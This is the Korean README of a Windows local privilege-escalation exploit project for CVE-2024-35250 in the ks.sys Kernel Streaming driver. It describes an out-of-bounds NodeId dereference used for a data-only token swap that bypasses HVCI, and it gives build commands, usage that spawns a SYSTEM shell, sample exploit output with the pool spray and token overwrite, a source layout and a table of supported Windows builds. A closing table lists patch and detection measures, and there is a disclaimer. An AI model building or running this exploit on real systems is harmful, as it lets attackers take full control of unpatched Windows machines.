
CVE-2024-35250은 HVCI가 데이터 전용 커널 익스플로잇에 대한 방어책이 아님을 입증합니다. 드라이버 버그가 임의 R/W 프리미티브를 제공하는 한, 토큰 스왑은 코드 실행 없이도 통용되는 보편적인 SYSTEM 권한 상승 기법으로 남아 있습니다.
Windows Kernel Streaming 드라이버(ks.sys)의 신뢰할 수 없는 포인터 역참조를 통한 로컬 권한 상승.
데이터 전용 익스플로잇 — HVCI(Hypervisor-protected Code Integrity)를 우회합니다.
| 항목 | 설명 |
|---|---|
| CVE | CVE-2024-35250 |
| 구성 요소 | ks.sys (Kernel Streaming) |
| 버그 클래스 | 신뢰할 수 없는 포인터 역참조 |
| 영향 | NT AUTHORITY\SYSTEM으로의 권한 상승(EoP) |
| HVCI | 우회됨 — 커널에서 코드 실행 없음 |
| 패치 | KB5039212(2024년 6월) |
| 대상 | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler는 KspProcessPropertyNode를 통해 토폴로지 수준의 속성 요청을 디스패치합니다.
사용자가 제공한 KSP_NODE 구조체의 NodeId 필드는 범위 검증 없이 내부 자동화 테이블 배열의 인덱스로 사용됩니다:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- attacker-controlled
실제 노드 수를 초과하는 조작된 NodeId는 역참조를 인접한 풀 메모리로 리디렉션하여 범위를 벗어난 읽기/쓰기 프리미티브를 제공합니다.
이 익스플로잇은 오직 커널 데이터 구조만 조작합니다:
NtQuerySystemInformation을 통해 EPROCESS 주소 유출ActiveProcessLinks를 순회하여 PID 4 (System) 찾기셸코드는 주입되지 않습니다. 서명되지 않은 코드 페이지가 생성되거나 실행되지 않습니다. 제어 흐름 포인터가 하이재킹되지 않습니다.
| 보호 기능 | 상태 |
|---|---|
| HVCI / KMCI | 우회됨 |
| SMEP | 트리거되지 않음 |
| SMAP | 트리거되지 않음 |
| kCFG | 트리거되지 않음 |
| CET / Shadow Stack | 트리거되지 않음 |
hvcipwned.sln 열기Ctrl+Shift+B)출력 바이너리: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
취약한(패치되지 않은) 시스템의 권한 없는 사용자 세션에서 실행합니다.
성공하면 NT AUTHORITY\SYSTEM으로 실행되는 새 cmd.exe 창이 열립니다.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - types, log macros, nt api typedefs
├── offsets.h - per-build eprocess field offsets
├── device.h - ks device enumeration
├── leak.h - kernel address leaks
├── krw.h - r/w primitive context
├── token.h - token swap + shell spawn
└── exploit.h - top-level entry
├── main.c - entry point
├── device.c - setupapi device open
├── leak.c - NtQuerySystemInformation leaks
├── krw.c - vulnerability trigger + pool spray + r/w
├── token.c - eprocess walk + token overwrite
└── exploit.c - orchestration
오프셋은 RtlGetVersion을 통해 런타임에 자동으로 확인됩니다.
이 프로젝트는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 사용하지 마십시오. 저자는 이 소프트웨어로 인한 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.
| OS | 빌드 | 상태 |
|---|
| Windows 10 20H1 | 19041 | 지원됨 |
| Windows 10 20H2 | 19042 | 지원됨 |
| Windows 10 21H1 | 19043 | 지원됨 |
| Windows 10 21H2 | 19044 | 지원됨 |
| Windows 10 22H2 | 19045 | 지원됨 |
| Windows 11 21H2 | 22000 | 지원됨 |
| Windows 11 22H2 | 22621 | 지원됨 |
| Windows 11 23H2 | 22631 | 지원됨 |
| 조치 |
|---|
| 설명 |
|---|
| 패치 | KB5039212(2024년 6월) 이상 설치 |
| 탐지 | KSPROPERTY_TYPE_TOPOLOGY 플래그를 사용한 IOCTL_KS_PROPERTY 모니터링 |
| EDR | EtwTi 커널 콜백을 통한 토큰 무결성 변경 알림 |
| 강화 | DACL을 통해 KS 장치 인터페이스에 대한 사용자 액세스 제한 |